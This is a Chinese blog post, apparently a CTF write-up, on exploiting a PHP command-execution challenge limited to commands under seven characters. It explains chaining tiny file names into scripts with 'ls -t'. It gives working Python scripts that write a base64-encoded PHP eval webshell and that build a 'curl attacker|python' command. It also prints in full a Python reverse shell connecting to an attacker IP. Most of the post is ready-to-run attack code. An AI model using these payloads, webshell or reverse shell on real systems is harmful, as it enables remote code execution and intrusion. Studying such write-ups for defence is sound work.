WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

限制字符长度的命令执行

腾讯犀牛鸟高校挑战赛的一道题,这个比赛总体偏简单,都是一些以前的题目,但是因为这题比赛的时候没复现出来(看了网上的wp也失败了),所以自己搭个环境复现一下

1
2
3
4
5
6
7
<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<7){
echo shell_exec($_GET[1]);
}
?>

代码很简单,如果1的参数长度小于7就执行命令

0x01 稍微了解一下基础

1.在linux下如果在语句的结尾加上\可以把语句接下去,直到没有斜杠就执行

这里执行的是echo ctf

2.linux可以通过>创建文件

bash脚本可以通过\方式执行命令吗,这个也可以试一下

这样也是可以执行的

通过>可以将输出结果写入文件

有以上这些条件,可以创建类似ech\,o\这样的文件名,然后通过ls -t(因为ls是通过首字母排序的,ls -t是通过文件生成时间排序的)写入文件,然后使用sh执行这个文件,就可以执行命令

0x02 解题

这道题可以使用两种方法

1.先把python反弹shell脚本放到服务器上然后使用curl得到文本,通过管道符|传给python反弹shell

2.直接写入php文件,这种方法适用于不出网

先手动写个一句话吧,后面再贴脚本,这里还有一点要注意,写完文件名之后要通过ls -t>a写入脚本,但是这题的要求是小于七个字符,这个语句等于七个字符所以是无法执行的,首先写一个ls -t>_ 的脚本

1
2
3
4
5
6
7
8
ls -t>_	#需要写入的语句

>ls\\
ls>_
>\ \\
>-t\\
>\>g
ls>>_ #>>追加写入

可以看到拼接出了想要的语句

这里为什么文件名为_,因为ls是默认排序的,_会出现在后面不影响ls写入,使用别的可能会出现在不该出现的地方,我刚开始使用的是0,结果出现在了-t和g之间,导致写入语句错误

接下来就是写一句话,需要使用base64编码之后再写,直接使用字符串会出现两个单引号,导致两个文件名字相同,而且单引号的左右侧都会出现符号或者空格,都需要斜杠转移,这样的就会超过6个字符,比如:>\ “\,最后写入失败,base64可以避免这种情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>a.php	#需要写入的语句

>php
>a.\\
>d\>\\
>\-\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>k7\\
>XS\\
>sx\\
>VF\\
>dF\\
>X0\\
>gk\\
>bC\\
>Zh\\
>ZX\\
>Ag\\
>aH\\
>9w\\
>PD\\
>o\ \\
>ech\\
sh _
sh g

执行完之后访问a.php

已经写入一句话了

写入一句话脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
from time import sleep

payload = [
'>ls\\\\',
'ls>_',
'>\ \\\\',
'>-t\\\\',
'>\>g',
'ls>>_',
'>php',
'>a.\\\\',
'>d\>\\\\',
'>\-\\\\',
'>\ \\\\',
'>64\\\\',
'>se\\\\',
'>ba\\\\',
'>\|\\\\',
'>k7\\\\',
'>XS\\\\',
'>sx\\\\',
'>VF\\\\',
'>dF\\\\',
'>X0\\\\',
'>gk\\\\',
'>bC\\\\',
'>Zh\\\\',
'>ZX\\\\',
'>Ag\\\\',
'>aH\\\\',
'>9w\\\\',
'>PD\\\\',
'>o\ \\\\',
'>ech\\\\',
'sh _',
'sh g'

]

for i in payload:
r = requests.get('http://192.168.163.130/?1=' + i )
print('http://192.168.163.130/?1=' + i)
sleep(0.2)

反弹shell脚本

需要注意一些地方,首先需要在服务器上贴上反弹shell的python代码,最好贴在首页,这样可以少写一点payload

1
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.163.128",60002)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])

然后需要在靶机上执行

1
curl 192.168.163.128|python

同时攻击机监听60002端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
from time import sleep

payload = [
'>ls\\\\',
'ls>_',
'>\ \\\\',
'>-t\\\\',
'>\>g',
'ls>>_',
'>on',
'>th\\\\',
'>py\\\\',
'>\|\\\\',
'>128\\\\',
'>3.\\\\',
'>16\\\\',
'>68.\\\\',
'>1\\\\',
'>2.\\\\',
'>19\\\\',
'>\ \\\\',
'>rl\\\\',
'>cu\\\\',
'sh _',
'sh g',
]

for i in payload:
r = requests.get('http://192.168.163.130/?1=' + i )
print('http://192.168.163.130/?1=' + i)
sleep(0.2)

因为是docker环境所以ip地址不是宿主机的地址这个不用在意